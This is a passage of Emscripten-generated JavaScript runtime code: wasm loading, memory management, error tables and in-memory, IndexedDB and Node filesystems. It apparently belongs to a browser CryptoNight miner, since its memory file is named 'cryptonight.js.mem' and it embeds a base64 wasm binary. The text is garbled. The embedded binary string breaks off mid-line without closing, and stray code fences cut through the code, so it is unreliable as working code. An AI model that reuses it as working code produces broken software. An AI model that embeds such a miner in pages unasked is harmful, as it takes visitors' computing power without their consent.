(base) { lookup = (lookup || {})[base] } if (lookup === undefined) { abort("bad lookupImport to (" + mod + ")." + base) }
return lookup } function mergeMemory(newBuffer) { var oldBuffer = Module.buffer; if (newBuffer.byteLength <
oldBuffer.byteLength) { Module.printErr("the new buffer in mergeMemory is smaller than the previous one. in native wasm,
we should grow memory here") } var oldView = new Int8Array(oldBuffer); var newView = new Int8Array(newBuffer); if
(!memoryInitializer) { oldView.set(newView.subarray(Module.STATIC_BASE, Module.STATIC_BASE +
Module.STATIC_BUMP), Module.STATIC_BASE) } newView.set(oldView); updateGlobalBuffer(newBuffer);
updateGlobalBufferViews() } var WasmTypes = { none: 0, i32: 1, i64: 2, f32: 3, f64: 4 }; function fixImports(imports) { if
(!0) return imports; var ret = {}; for (var i in imports) { var fixed = i; if (fixed[0] == "_") fixed = fixed.substr(1); ret[fixed] =
imports[i] } return ret } function getBinary() { try { var binary; if (Module.wasmBinary) { binary = Module.wasmBinary;
binary = new Uint8Array(binary) } else if (Module.readBinary) {} else { throw "on the web, we need the wasm binary to be
preloaded and set on Module[\'wasmBinary\']. emcc.py will do that for you when generating HTML (but not JS)" } return
binary } catch (err) { abort(err) } } function getBinaryPromise() { if (!Module.wasmBinary && typeof fetch ===
"function") { var raw =
"AGFzbQEAAAABUw5gA39/fwBgA39/fwF/YAF/AX9gAX8AYAABf2ACf38Bf2AEf39/fwBgAn9/AGADf39+AGADf35/AGAEf39+fwF/YAR/f39/A
return Uint8Array.from(atob(raw), c => c.charCodeAt(0)) } return new Promise((function(resolve, reject) {
resolve(getBinary()) })) } function doNativeWasm(global, env, providedBuffer) { if (typeof WebAssembly !== "object") {
Module.printErr("no native wasm support detected"); return !1 } if (!(Module.wasmMemory instanceof
WebAssembly.Memory)) { Module.printErr("no native wasm Memory in use"); return !1 } env.memory =
Module.wasmMemory; info.global = { "NaN": NaN, "Infinity": Infinity }; info["global.Math"] = global.Math; info.env =
env; function receiveInstance(instance) { exports = instance.exports; if (exports.memory) mergeMemory(exports.memory);
Module.asm = exports; Module.usingWasm = !0; removeRunDependency("wasm-instantiate") }
addRunDependency("wasm-instantiate"); if (Module.instantiateWasm) { try { return Module.instantiateWasm(info,
receiveInstance) } catch (e) { Module.printErr("Module.instantiateWasm callback failed with error: " + e); return !1 } }
WebAssembly.instantiate(getBinaryPromise(), info).then((function(output) { receiveInstance(output.instance) })); return {}
} Module.asmPreload = Module.asm; var asmjsReallocBuffer = Module.reallocBuffer; var wasmReallocBuffer =
(function(size) { var PAGE_MULTIPLE = Module.usingWasm ? WASM_PAGE_SIZE : ASMJS_PAGE_SIZE; size =
alignUp(size, PAGE_MULTIPLE); var old = Module.buffer; var oldSize = old.byteLength; if (Module.usingWasm) { try {
var result = Module.wasmMemory.grow((size - oldSize) / wasmPageSize); if (result !== (-1 | 0)) { return Module.buffer =
Module.wasmMemory.buffer } else { return null } } catch (e) { return null } } else { exports.__growWasmMemory((size -
oldSize) / wasmPageSize); return Module.buffer !== old ? Module.buffer : null } }); Module.reallocBuffer = (function(size)
{ if (finalMethod === "asmjs") { return asmjsReallocBuffer(size) } else { return wasmReallocBuffer(size) } }); var
finalMethod = ""; Module.asm = (function(global, env, providedBuffer) { global = fixImports(global); env =
fixImports(env); if (!env.table) { var TABLE_SIZE = Module.wasmTableSize; if (TABLE_SIZE === undefined)
TABLE_SIZE = 1024; var MAX_TABLE_SIZE = Module.wasmMaxTableSize; if (typeof WebAssembly === "object" &&
typeof WebAssembly.Table === "function") { if (MAX_TABLE_SIZE !== undefined) { env.table = new
WebAssembly.Table({ "initial": TABLE_SIZE, "maximum": MAX_TABLE_SIZE, "element": "anyfunc" }) } else {
env.table = new WebAssembly.Table({ "initial": TABLE_SIZE, element: "anyfunc" }) } } else { env.table = new
Array(TABLE_SIZE) } Module.wasmTable = env.table } if (!env.memoryBase) { env.memoryBase =
Module.STATIC_BASE } if (!env.tableBase) { env.tableBase = 0 } var exports; exports = doNativeWasm(global, env,
providedBuffer); return exports }); var methodHandler = Module.asm } integrateWasmJS(Module); var ASM_CONSTS =
[]; STATIC_BASE = Runtime.GLOBAL_BASE; STATICTOP = STATIC_BASE + 12512; __ATINIT__.push();
memoryInitializer = Module.wasmJSMethod.indexOf("asmjs") >= 0 || Module.wasmJSMethod.indexOf("interpret-
asm2wasm") >= 0 ? "cryptonight.js.mem" : null; var STATIC_BUMP = 12512; Module.STATIC_BASE = STATIC_BASE;
Module.STATIC_BUMP = STATIC_BUMP; var tempDoublePtr = STATICTOP; STATICTOP += 16; function
___assert_fail(condition, filename, line, func) { ABORT = !0; throw "Assertion failed: " + Pointer_stringify(condition) + ",
at: " + [filename ? Pointer_stringify(filename) : "unknown filename", line, func ? Pointer_stringify(func) : "unknown
```

function"] + " at " + stackTrace() } var PROCINFO = { ppid: 1, pid: 42, sid: 42, pgid: 42 }; var ERRNO_CODES = { EPERM: 1, ENOENT: 2, ESRCH: 3, EINTR: 4, EIO: 5, ENXIO: 6, E2BIG: 7, ENOEXEC: 8, EBADF: 9, ECHILD: 10, EAGAIN: 11, EWOULDBLOCK: 11, ENOMEM: 12, EACCES: 13, EFAULT: 14, ENOTBLK: 15, EBUSY: 16, EEXIST: 17, EXDEV: 18, ENODEV: 19, ENOTDIR: 20, EISDIR: 21, EINVAL: 22, ENFILE: 23, EMFILE: 24, ENOTTY: 25, ETXTBSY: 26, EFBIG: 27, ENOSPC: 28, ESPIPE: 29, EROFS: 30, EMLINK: 31, EPIPE: 32, EDOM: 33, ERANGE: 34, ENOMSG: 42, EIDRM: 43, ECHRNG: 44, EL2NSYNC: 45, EL3HLT: 46, EL3RST: 47, ELNRNG: 48, EUNATCH: 49, ENOCSI: 50, EL2HLT: 51, EDEADLK: 35, ENOLCK: 37, EBADE: 52, EBADR: 53, EXFULL: 54, ENOANO: 55, EBADRQC: 56, EBADSLT: 57, EDEADLOCK: 35, EBFONT: 59, ENOSTR: 60, ENODATA: 61, ETIME: 62, ENOSR: 63, ENONET: 64, ENOPKG: 65, EREMOTE: 66, ENOLINK: 67, EADV: 68, ESRMNT: 69, ECOMM: 70, EPROTO: 71, EMULTIHOP: 72, EDOTDOT: 73, EBADMSG: 74, ENOTUNIQ: 76, EBADFD: 77, EREMCHG: 78, ELIBACC: 79, ELIBBAD: 80, ELIBSCN: 81, ELIBMAX: 82, ELIBEXEC: 83, ENOSYS: 38, ENOTEMPTY: 39, ENAMETOOLONG: 36, ELOOP: 40, EOPNOTSUPP: 95, EPFNOSUPPORT: 96, ECONNRESET: 104, ENOBUFS: 105, EAFNOSUPPORT: 97, EPROTOTYPE: 91, ENOTSOCK: 88, ENOPROTOOPT: 92, ESHUTDOWN: 108, ECONNREFUSED: 111, EADDRINUSE: 98, ECONNABORTED: 103, ENETUNREACH: 101, ENETDOWN: 100, ETIMEDOUT: 110, EHOSTDOWN: 112, EHOSTUNREACH: 113, EINPROGRESS: 115, EALREADY: 114, EDESTADDRREQ: 89, EMSGSIZE: 90, EPROTONOSUPPORT: 93, ESOCKTNOSUPPORT: 94, EADDRNOTAVAIL: 99, ENETRESET: 102, EISCONN: 106, ENOTCONN: 107, ETOOMANYREFS: 109, EUSERS: 87, EDQUOT: 122, ESTALE: 116, ENOTSUP: 95, ENOMEDIUM: 123, EILSEQ: 84, EOVERFLOW: 75, ECANCELED: 125, ENOTRECOVERABLE: 131, EOWNERDEAD: 130, ESTRPIPE: 86 }; var ERRNO_MESSAGES = { 0: "Success", 1: "Not super-user", 2: "No such file or directory", 3: "No such process", 4: "Interrupted system call", 5: "I/O error", 6: "No such device or address", 7: "Arg list too long", 8: "Exec format error", 9: "Bad file number", 10: "No children", 11: "No more processes", 12: "Not enough core", 13: "Permission denied", 14: "Bad address", 15: "Block device required", 16: "Mount device busy", 17: "File exists", 18: "Cross-device link", 19: "No such device", 20: "Not a directory", 21: "Is a directory", 22: "Invalid argument", 23: "Too many open files in system", 24: "Too many open files", 25: "Not a typewriter", 26: "Text file busy", 27: "File too large", 28: "No space left on device", 29: "Illegal seek", 30: "Read only file system", 31: "Too many links", 32: "Broken pipe", 33: "Math arg out of domain of func", 34: "Math result not representable", 35: "File locking deadlock error", 36: "File or path name too long", 37: "No record locks available", 38: "Function not implemented", 39: "Directory not empty", 40: "Too many symbolic links", 42: "No message of desired type", 43: "Identifier removed", 44: "Channel number out of range", 45: "Level 2 not synchronized", 46: "Level 3 halted", 47: "Level 3 reset", 48: "Link number out of range", 49: "Protocol driver not attached", 50: "No CSI structure available", 51: "Level 2 halted", 52: "Invalid exchange", 53: "Invalid request descriptor", 54: "Exchange full", 55: "No anode", 56: "Invalid request code", 57: "Invalid slot", 59: "Bad font file fmt", 60: "Device not a stream", 61: "No data (for no delay io)", 62: "Timer expired", 63: "Out of streams resources", 64: "Machine is not on the network", 65: "Package not installed", 66: "The object is remote", 67: "The link has been severed", 68: "Advertise error", 69: "Srmount error", 70: "Communication error on send", 71: "Protocol error", 72: "Multihop attempted", 73: "Cross mount point (not really error)", 74: "Trying to read unreadable message", 75: "Value too large for defined data type", 76: "Given log. name not unique", 77: "f.d. invalid for this operation", 78: "Remote address changed", 79: "Can access a needed shared lib", 80: "Accessing a corrupted shared lib", 81: ".lib section in a.out corrupted", 82: "Attempting to link in too many libs", 83: "Attempting to exec a shared library", 84: "Illegal byte sequence", 86: "Streams pipe error", 87: "Too many users", 88: "Socket operation on non-socket", 89: "Destination address required", 90: "Message too long", 91: "Protocol wrong type for socket", 92: "Protocol not available", 93: "Unknown protocol", 94: "Socket type not supported", 95: "Not supported", 96: "Protocol family not supported", 97: "Address family not supported by protocol family", 98: "Address already in use", 99: "Address not available", 100: "Network interface is not configured", 101: "Network is unreachable", 102: "Connection reset by network", 103: "Connection aborted", 104: "Connection reset by peer", 105: "No buffer space available", 106: "Socket is already connected", 107: "Socket is not connected", 108: "Can\t send after socket shutdown", 109: "Too many references", 110: "Connection timed out", 111: "Connection refused", 112: "Host is down", 113: "Host is unreachable", 114: "Socket already connected", 115: "Connection already in progress", 116: "Stale file handle", 122: "Quota exceeded", 123: "No medium (in tape drive)", 125: "Operation canceled", 130: "Previous owner died", 131: "State not recoverable" }; function ___setErrNo(value) { if (Module.___errno_location) HEAP32[Module.___errno_location() >> 2] = value; return value } var PATH = { splitPath: (function(filename) { var splitPathRe = /^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/; return splitPathRe.exec(filename).slice(1) }), normalizeArray: (function(parts, allowAboveRoot) { var up = 0; for (var i = parts.length - 1; i >= 0; i--) { var last = parts[i]; if (last === ".") { parts.splice(i, 1) } else if (last === "..") { parts.splice(i, 1); up++ } else if (up) { parts.splice(i, 1); up-- } } if (allowAboveRoot) { for (; up; up--) { parts.unshift("..") } } return parts }), normalize: (function(path) { var isAbsolute = path.charAt(0) === "/", trailingSlash = path.substr(-1) === "/"; path = PATH.normalizeArray(path.split("/").filter((function(p) { return !!p })), !isAbsolute).join("/"); if (!path && !isAbsolute) { path = "." } if (path && trailingSlash) { path += "/" } return (isAbsolute ? "/" : "") + path }), dirname: (function(path) { var result = PATH.splitPath(path), root = result[0], dir = result[1]; if (!root && !dir) { return "." } if (dir) { dir = dir.substr(0, dir.length - 1) } return root + dir }), basename: (function(path) { if (path === "/") return "/"; var lastSlash = path.lastIndexOf("/"); if (lastSlash === -1) return path; return path.substr(lastSlash + 1) }), extname: (function(path) { return PATH.splitPath(path)[3] }), join: (function() { var paths = Array.prototype.slice.call(arguments, 0); return PATH.normalize(paths.join("/")) }), join2: (function(l, r) { return PATH.normalize(l + "/" + r) }), resolve: (function() { var resolvedPath = "", resolvedAbsolute = !1; for (var i = arguments.length - 1; i >= -1 && !resolvedAbsolute; i--) { var path = i >= 0 ? arguments[i] : FS.cwd(); if (typeof path !== "string") { throw new TypeError("Arguments to path.resolve must be strings") } else if (!path) { return "" } resolvedPath = path + "/" + resolvedPath; resolvedAbsolute = path.charAt(0) === "/" } resolvedPath = PATH.normalizeArray(resolvedPath.split("/").filter((function(p) { return !!p })),

!resolvedAbsolute).join("/"); return (resolvedAbsolute ? "/" : "") + resolvedPath || "." }), relative: (function(from, to) { from = PATH.resolve(from).substr(1); to = PATH.resolve(to).substr(1); function trim(arr) { var start = 0; for (; start < arr.length; start++) { if (arr[start] !== "") break } var end = arr.length - 1; for (; end >= 0; end--) { if (arr[end] !== "") break } if (start > end) return []; return arr.slice(start, end - start + 1) } var fromParts = trim(from.split("/")); var toParts = trim(to.split("/")); var length = Math.min(fromParts.length, toParts.length); var samePartsLength = length; for (var i = 0; i < length; i++) { if (fromParts[i] !== toParts[i]) { samePartsLength = i; break } } var outputParts = []; for (var i = samePartsLength; i < fromParts.length; i++) { outputParts.push("..") } outputParts = outputParts.concat(toParts.slice(samePartsLength)); return outputParts.join("/") }) }; var TTY = { ttys: [], init: (function() {}), shutdown: (function() {}), register: (function(dev, ops) { TTY.ttys[dev] = { input: [], output: [], ops: ops }; FS.registerDevice(dev, TTY.stream_ops) }), stream_ops: { open: (function(stream) { var tty = TTY.ttys[stream.node.rdev]; if (!tty) { throw new FS.ErrnoError(ERRNO_CODES.ENODEV) } stream.tty = tty; stream.seekable = !1 }), close: (function(stream) { stream.tty.ops.flush(stream.tty) }), flush: (function(stream) { stream.tty.ops.flush(stream.tty) }), read: (function(stream, buffer, offset, length, pos) { if (!stream.tty || !stream.tty.ops.get_char) { throw new FS.ErrnoError(ERRNO_CODES.ENXIO) } var bytesRead = 0; for (var i = 0; i < length; i++) { var result; try { result = stream.tty.ops.get_char(stream.tty) } catch (e) { throw new FS.ErrnoError(ERRNO_CODES.EIO) } if (result === undefined && bytesRead === 0) { throw new FS.ErrnoError(ERRNO_CODES.EAGAIN) } if (result === null || result === undefined) break; bytesRead++; buffer[offset + i] = result } if (bytesRead) { stream.node.timestamp = Date.now() } return bytesRead }), write: (function(stream, buffer, offset, length, pos) { if (!stream.tty || !stream.tty.ops.put_char) { throw new FS.ErrnoError(ERRNO_CODES.ENXIO) } for (var i = 0; i < length; i++) { try { stream.tty.ops.put_char(stream.tty, buffer[offset + i]) } catch (e) { throw new FS.ErrnoError(ERRNO_CODES.EIO) } } if (length) { stream.node.timestamp = Date.now() } return i }) }, default_tty_ops: { get_char: (function(tty) { if (!tty.input.length) { var result = null; if (ENVIRONMENT_IS_NODE) { var BUFSIZE = 256; var buf = new Buffer(BUFSIZE); var bytesRead = 0; var isPosixPlatform = process.platform != "win32"; var fd = process.stdin.fd; if (isPosixPlatform) { var usingDevice = !1; try { fd = fs.openSync("/dev/stdin", "r"); usingDevice = !0 } catch (e) {} } try { bytesRead = fs.readSync(fd, buf, 0, BUFSIZE, null) } catch (e) { if (e.toString().indexOf("EOF") != -1) bytesRead = 0; else throw e } if (usingDevice) { fs.closeSync(fd) } if (bytesRead > 0) { result = buf.slice(0, bytesRead).toString("utf-8") } else { result = null } } else if (typeof window != "undefined" && typeof window.prompt == "function") { result = window.prompt("Input: "); if (result !== null) { result += "\\n" } } else if (typeof readline == "function") { result = readline(); if (result !== null) { result += "\\n" } } if (!result) { return null } tty.input = intArrayFromString(result, !0) } return tty.input.shift() }), put_char: (function(tty, val) { if (val === null || val === 10) { Module.print(UTF8ArrayToString(tty.output, 0)); tty.output = [] } else { if (val != 0) tty.output.push(val) } }), flush: (function(tty) { if (tty.output && tty.output.length > 0) { Module.print(UTF8ArrayToString(tty.output, 0)); tty.output = [] } }) }, default_tty1_ops: { put_char: (function(tty, val) { if (val === null || val === 10) { Module.printErr(UTF8ArrayToString(tty.output, 0)); tty.output = [] } else { if (val != 0) tty.output.push(val) } }), flush: (function(tty) { if (tty.output && tty.output.length > 0) { Module.printErr(UTF8ArrayToString(tty.output, 0)); tty.output = [] } }) } }; var MEMFS = { ops_table: null, mount: (function(mount) { return MEMFS.createNode(null, "/", 16384 | 511, 0) }), createNode: (function(parent, name, mode, dev) { if (FS.isBlkdev(mode) || FS.isFIFO(mode)) { throw new FS.ErrnoError(ERRNO_CODES.EPERM) } if (!MEMFS.ops_table) { MEMFS.ops_table = { dir: { node: { getattr: MEMFS.node_ops.getattr, setattr: MEMFS.node_ops.setattr, lookup: MEMFS.node_ops.lookup, mknod: MEMFS.node_ops.mknod, rename: MEMFS.node_ops.rename, unlink: MEMFS.node_ops.unlink, rmdir: MEMFS.node_ops.rmdir, readdir: MEMFS.node_ops.readdir, symlink: MEMFS.node_ops.symlink }, stream: { llseek: MEMFS.stream_ops.llseek } }, file: { node: { getattr: MEMFS.node_ops.getattr, setattr: MEMFS.node_ops.setattr }, stream: { llseek: MEMFS.stream_ops.llseek, read: MEMFS.stream_ops.read, write: MEMFS.stream_ops.write, allocate: MEMFS.stream_ops.allocate, mmap: MEMFS.stream_ops.mmap, msync: MEMFS.stream_ops.msync } }, link: { node: { getattr: MEMFS.node_ops.getattr, setattr: MEMFS.node_ops.setattr, readlink: MEMFS.node_ops.readlink }, stream: {} }, chrdev: { node: { getattr: MEMFS.node_ops.getattr, setattr: MEMFS.node_ops.setattr }, stream: FS.chrdev_stream_ops } } } var node = FS.createNode(parent, name, mode, dev); if (FS.isDir(node.mode)) { node.node_ops = MEMFS.ops_table.dir.node; node.stream_ops = MEMFS.ops_table.dir.stream; node.contents = {} } else if (FS.isFile(node.mode)) { node.node_ops = MEMFS.ops_table.file.node; node.stream_ops = MEMFS.ops_table.file.stream; node.usedBytes = 0; node.contents = null } else if (FS.isLink(node.mode)) { node.node_ops = MEMFS.ops_table.link.node; node.stream_ops = MEMFS.ops_table.link.stream } else if (FS.isChrdev(node.mode)) { node.node_ops = MEMFS.ops_table.chrdev.node; node.stream_ops = MEMFS.ops_table.chrdev.stream } node.timestamp = Date.now(); if (parent) { parent.contents[name] = node } return node }), getFileDataAsRegularArray: (function(node) { if (node.contents && node.contents.subarray) { var arr = []; for (var i = 0; i < node.usedBytes; ++i) arr.push(node.contents[i]); return arr } return node.contents }), getFileDataAsTypedArray: (function(node) { if (!node.contents) return new Uint8Array; if (node.contents.subarray) return node.contents.subarray(0, node.usedBytes); return new Uint8Array(node.contents) }), expandFileStorage: (function(node, newCapacity) { if (node.contents && node.contents.subarray && newCapacity > node.contents.length) { node.contents = MEMFS.getFileDataAsRegularArray(node); node.usedBytes = node.contents.length } if (!node.contents || node.contents.subarray) { var prevCapacity = node.contents ? node.contents.length : 0; if (prevCapacity >= newCapacity) return; var CAPACITY_DOUBLING_MAX = 1024 * 1024; newCapacity = Math.max(newCapacity, prevCapacity * (prevCapacity < CAPACITY_DOUBLING_MAX ? 2 : 1.125) | 0); if (prevCapacity != 0) newCapacity = Math.max(newCapacity, 256); var oldContents = node.contents; node.contents = new Uint8Array(newCapacity); if (node.usedBytes > 0) node.contents.set(oldContents.subarray(0, node.usedBytes), 0); return } if (!node.contents && newCapacity > 0) node.contents = []; while (node.contents.length < newCapacity) node.contents.push(0) }), resizeFileStorage: (function(node, newSize) { if (node.usedBytes == newSize) return; if (newSize

```
== 0) { node.contents = null; node.usedBytes = 0; return } if (!node.contents || node.contents.subarray) { var oldContents = node.contents; node.contents = new Uint8Array(new ArrayBuffer(newSize)); if (oldContents) { node.contents.set(oldContents.subarray(0, Math.min(newSize, node.usedBytes))) } node.usedBytes = newSize; return } if (!node.contents) node.contents = []; if (node.contents.length > newSize) node.contents.length = newSize; else while (node.contents.length < newSize) node.contents.push(0); node.usedBytes = newSize }), node_ops: { getattr: (function(node) { var attr = {}; attr.dev = FS.isChrdev(node.mode) ? node.id : 1; attr.ino = node.id; attr.mode = node.mode; attr.nlink = 1; attr.uid = 0; attr.gid = 0; attr.rdev = node.rdev; if (FS.isDir(node.mode)) { attr.size = 4096 } else if (FS.isFile(node.mode)) { attr.size = node.usedBytes } else if (FS.isLink(node.mode)) { attr.size = node.link.length } else { attr.size = 0 } attr.atime = new Date(node.timestamp); attr.mtime = new Date(node.timestamp); attr.ctime = new Date(node.timestamp); attr.blksize = 4096; attr.blocks = Math.ceil(attr.size / attr.blksize); return attr }), setattr: (function(node, attr) { if (attr.mode !== undefined) { node.mode = attr.mode } if (attr.timestamp !== undefined) { node.timestamp = attr.timestamp } if (attr.size !== undefined) { MEMFS.resizeFileStorage(node, attr.size) } }), lookup: (function(parent, name) { throw FS.genericErrors[ERRNO_CODES.ENOENT] }), mknod: (function(parent, name, mode, dev) { return MEMFS.createNode(parent, name, mode, dev) }), rename: (function(old_node, new_dir, new_name) { if (FS.isDir(old_node.mode)) { var new_node; try { new_node = FS.lookupNode(new_dir, new_name) } catch (e) {} if (new_node) { for (var i in new_node.contents) { throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY) } } } delete old_node.parent.contents[old_node.name]; old_node.name = new_name; new_dir.contents[new_name] = old_node; old_node.parent = new_dir }), unlink: (function(parent, name) { delete parent.contents[name] }), rmdir: (function(parent, name) { var node = FS.lookupNode(parent, name); for (var i in node.contents) { throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY) } delete parent.contents[name] }), readdir: (function(node) { var entries = [".", ".."]; for (var key in node.contents) { if (!node.contents.hasOwnProperty(key)) { continue } entries.push(key) } return entries }), symlink: (function(parent, newname, oldpath) { var node = MEMFS.createNode(parent, newname, 511 | 40960, 0); node.link = oldpath; return node }), readlink: (function(node) { if (!FS.isLink(node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } return node.link }) }, stream_ops: { read: (function(stream, buffer, offset, length, position) { var contents = stream.node.contents; if (position >= stream.node.usedBytes) return 0; var size = Math.min(stream.node.usedBytes - position, length); assert(size >= 0); if (size > 8 && contents.subarray) { buffer.set(contents.subarray(position, position + size), offset) } else { for (var i = 0; i < size; i++) buffer[offset + i] = contents[position + i] } return size }), write: (function(stream, buffer, offset, length, position, canOwn) { if (!length) return 0; var node = stream.node; node.timestamp = Date.now(); if (buffer.subarray && (!node.contents || node.contents.subarray)) { if (canOwn) { node.contents = buffer.subarray(offset, offset + length); node.usedBytes = length; return length } else if (node.usedBytes === 0 && position === 0) { node.contents = new Uint8Array(buffer.subarray(offset, offset + length)); node.usedBytes = length; return length } else if (position + length <= node.usedBytes) { node.contents.set(buffer.subarray(offset, offset + length), position); return length } } MEMFS.expandFileStorage(node, position + length); if (node.contents.subarray && buffer.subarray) node.contents.set(buffer.subarray(offset, offset + length), position); else { for (var i = 0; i < length; i++) { node.contents[position + i] = buffer[offset + i] } } node.usedBytes = Math.max(node.usedBytes, position + length); return length }), llseek: (function(stream, offset, whence) { var position = offset; if (whence === 1) { position += stream.position } else if (whence === 2) { if (FS.isFile(stream.node.mode)) { position += stream.node.usedBytes } } if (position < 0) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } return position }), allocate: (function(stream, offset, length) { MEMFS.expandFileStorage(stream.node, offset + length); stream.node.usedBytes = Math.max(stream.node.usedBytes, offset + length) }), mmap: (function(stream, buffer, offset, length, position, prot, flags) { if (!FS.isFile(stream.node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.ENODEV) } var ptr; var allocated; var contents = stream.node.contents; if (!(flags & 2) && (contents.buffer === buffer || contents.buffer === buffer.buffer)) { allocated = !1; ptr = contents.byteOffset } else { if (position > 0 || position + length < stream.node.usedBytes) { if (contents.subarray) { contents = contents.subarray(position, position + length) } else { contents = Array.prototype.slice.call(contents, position, position + length) } } allocated = !0; ptr = _malloc(length); if (!ptr) { throw new FS.ErrnoError(ERRNO_CODES.ENOMEM) } buffer.set(contents, ptr) } return { ptr: ptr, allocated: allocated } }), msync: (function(stream, buffer, offset, length, mmapFlags) { if (!FS.isFile(stream.node.mode)) { throw new FS.ErrnoError(ERRNO_CODES.ENODEV) } if (mmapFlags & 2) { return 0 } var bytesWritten = MEMFS.stream_ops.write(stream, buffer, 0, length, offset, !1); return 0 }) } }; var IDBFS = { dbs: {}, indexedDB: (function() { if (typeof indexedDB !== "undefined") return indexedDB; var ret = null; if (typeof window === "object") ret = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB; assert(ret, "IDBFS used, but indexedDB not supported"); return ret }), DB_VERSION: 21, DB_STORE_NAME: "FILE_DATA", mount: (function(mount) { return MEMFS.mount.apply(null, arguments) }), syncfs: (function(mount, populate, callback) { IDBFS.getLocalSet(mount, (function(err, local) { if (err) return callback(err); IDBFS.getRemoteSet(mount, (function(err, remote) { if (err) return callback(err); var src = populate ? remote : local; var dst = populate ? local : remote; IDBFS.reconcile(src, dst, callback) })) })), getDB: (function(name, callback) { var db = IDBFS.dbs[name]; if (db) { return callback(null, db) } var req; try { req = IDBFS.indexedDB().open(name, IDBFS.DB_VERSION) } catch (e) { return callback(e) } if (!req) { return callback("Unable to connect to IndexedDB") } req.onupgradeneeded = (function(e) { var db = e.target.result; var transaction = e.target.transaction; var fileStore; if (db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)) { fileStore = transaction.objectStore(IDBFS.DB_STORE_NAME) } else { fileStore = db.createObjectStore(IDBFS.DB_STORE_NAME) } if (!fileStore.indexNames.contains("timestamp")) { fileStore.createIndex("timestamp", "timestamp", { unique: !1 }) } }); req.onsuccess = (function() { db = req.result; IDBFS.dbs[name] = db; callback(null, db) }); req.onerror = (function(e) { callback(this.error); e.preventDefault() }) }),
```

```
getLocalSet: (function(mount, callback) { var entries = {}; function isRealDir(p) { return p !== "." && p !== ".." } function toAbsolute(root) { return (function(p) { return PATH.join2(root, p) }) } var check = FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint)); while (check.length) { var path = check.pop(); var stat; try { stat = FS.stat(path) } catch (e) { return callback(e) } if (FS.isDir(stat.mode)) { check.push.apply(check, FS.readdir(path).filter(isRealDir).map(toAbsolute(path))) } entries[path] = { timestamp: stat.mtime } } return callback(null, { type: "local", entries: entries }) }), getRemoteSet: (function(mount, callback) { var entries = {}; IDBFS.getDB(mount.mountpoint, (function(err, db) { if (err) return callback(err); var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readonly"); transaction.onerror = (function(e) { callback(this.error); e.preventDefault() }); var store = transaction.objectStore(IDBFS.DB_STORE_NAME); var index = store.index("timestamp"); index.openKeyCursor().onsuccess = (function(event) { var cursor = event.target.result; if (!cursor) { return callback(null, { type: "remote", db: db, entries: entries }) } entries[cursor.primaryKey] = { timestamp: cursor.key }; cursor.continue() }) })) }), loadLocalEntry: (function(path, callback) { var stat, node; try { var lookup = FS.lookupPath(path); node = lookup.node; stat = FS.stat(path) } catch (e) { return callback(e) } if (FS.isDir(stat.mode)) { return callback(null, { timestamp: stat.mtime, mode: stat.mode }) } else if (FS.isFile(stat.mode)) { node.contents = MEMFS.getFileDataAsTypedArray(node); return callback(null, { timestamp: stat.mtime, mode: stat.mode, contents: node.contents }) } else { return callback(new Error("node type not supported")) } }), storeLocalEntry: (function(path, entry, callback) { try { if (FS.isDir(entry.mode)) { FS.mkdir(path, entry.mode) } else if (FS.isFile(entry.mode)) { FS.writeFile(path, entry.contents, { encoding: "binary", canOwn: !0 }) } else { return callback(new Error("node type not supported")) } FS.chmod(path, entry.mode); FS.utime(path, entry.timestamp, entry.timestamp) } catch (e) { return callback(e) } callback(null) }), removeLocalEntry: (function(path, callback) { try { var lookup = FS.lookupPath(path); var stat = FS.stat(path); if (FS.isDir(stat.mode)) { FS.rmdir(path) } else if (FS.isFile(stat.mode)) { FS.unlink(path) } } catch (e) { return callback(e) } callback(null) }), loadRemoteEntry: (function(store, path, callback) { var req = store.get(path); req.onsuccess = (function(event) { callback(null, event.target.result) }); req.onerror = (function(e) { callback(this.error); e.preventDefault() }) }), storeRemoteEntry: (function(store, path, entry, callback) { var req = store.put(entry, path); req.onsuccess = (function() { callback(null) }); req.onerror = (function(e) { callback(this.error); e.preventDefault() }) }), removeRemoteEntry: (function(store, path, callback) { var req = store.delete(path); req.onsuccess = (function() { callback(null) }); req.onerror = (function(e) { callback(this.error); e.preventDefault() }) }), reconcile: (function(src, dst, callback) { var total = 0; var create = []; Object.keys(src.entries).forEach((function(key) { var e = src.entries[key]; var e2 = dst.entries[key]; if (!e2 || e.timestamp > e2.timestamp) { create.push(key); total++ } })); var remove = []; Object.keys(dst.entries).forEach((function(key) { var e = dst.entries[key]; var e2 = src.entries[key]; if (!e2) { remove.push(key); total++ } })); if (!total) { return callback(null) } var completed = 0; var db = src.type === "remote" ? src.db : dst.db; var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readwrite"); var store = transaction.objectStore(IDBFS.DB_STORE_NAME); function done(err) { if (err) { if (!done.errored) { done.errored = !0; return callback(err) } return } if (++completed >= total) { return callback(null) } } transaction.onerror = (function(e) { done(this.error); e.preventDefault() }); create.sort().forEach((function(path) { if (dst.type === "local") { IDBFS.loadRemoteEntry(store, path, (function(err, entry) { if (err) return done(err); IDBFS.storeLocalEntry(path, entry, done) })) } else { IDBFS.loadLocalEntry(path, (function(err, entry) { if (err) return done(err); IDBFS.storeRemoteEntry(store, path, entry, done) })) } })); remove.sort().reverse().forEach((function(path) { if (dst.type === "local") { IDBFS.removeLocalEntry(path, done) } else { IDBFS.removeRemoteEntry(store, path, done) } })) }) }; var NODEFS = { isWindows: !1, staticInit: (function() { NODEFS.isWindows = !!process.platform.match(/^win/) }), mount: (function(mount) { assert(ENVIRONMENT_IS_NODE); return NODEFS.createNode(null, "/", NODEFS.getMode(mount.opts.root), 0) }), createNode: (function(parent, name, mode, dev) { if (!FS.isDir(mode) && !FS.isFile(mode) && !FS.isLink(mode)) { throw new FS.ErrnoError(ERRNO_CODES.EINVAL) } var node = FS.createNode(parent, name, mode); node.node_ops = NODEFS.node_ops; node.stream_ops = NODEFS.stream_ops; return node }), getMode: (function(path) { var stat; try { stat = fs.lstatSync(path); if (NODEFS.isWindows) { stat.mode = 